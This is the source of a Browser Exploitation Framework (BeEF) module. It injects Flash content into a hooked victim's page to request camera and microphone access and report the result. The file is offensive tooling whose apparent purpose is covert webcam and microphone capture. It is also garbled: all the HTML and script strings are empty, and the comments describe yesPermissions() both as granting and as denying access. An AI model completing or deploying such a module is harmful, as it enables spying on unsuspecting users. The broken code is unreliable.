// // Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { //These 3 functions [naPermissions() The camera is not available or not supported // yesPermissions() The user is allowing access to the camera / mic // yesPermissions() The user has not allowed access to the camera / mic // Flash will invoke these functions directly. var js_functions = ''; var body_flash_container = '
'; //A library that helps include the swf file var swfobject_script = '' //This is the javascript that actually calls the swfobject library to include the swf file var include_script = ''; //Add flash content $j('body').append(js_functions, swfobject_script, body_flash_container, include_script); });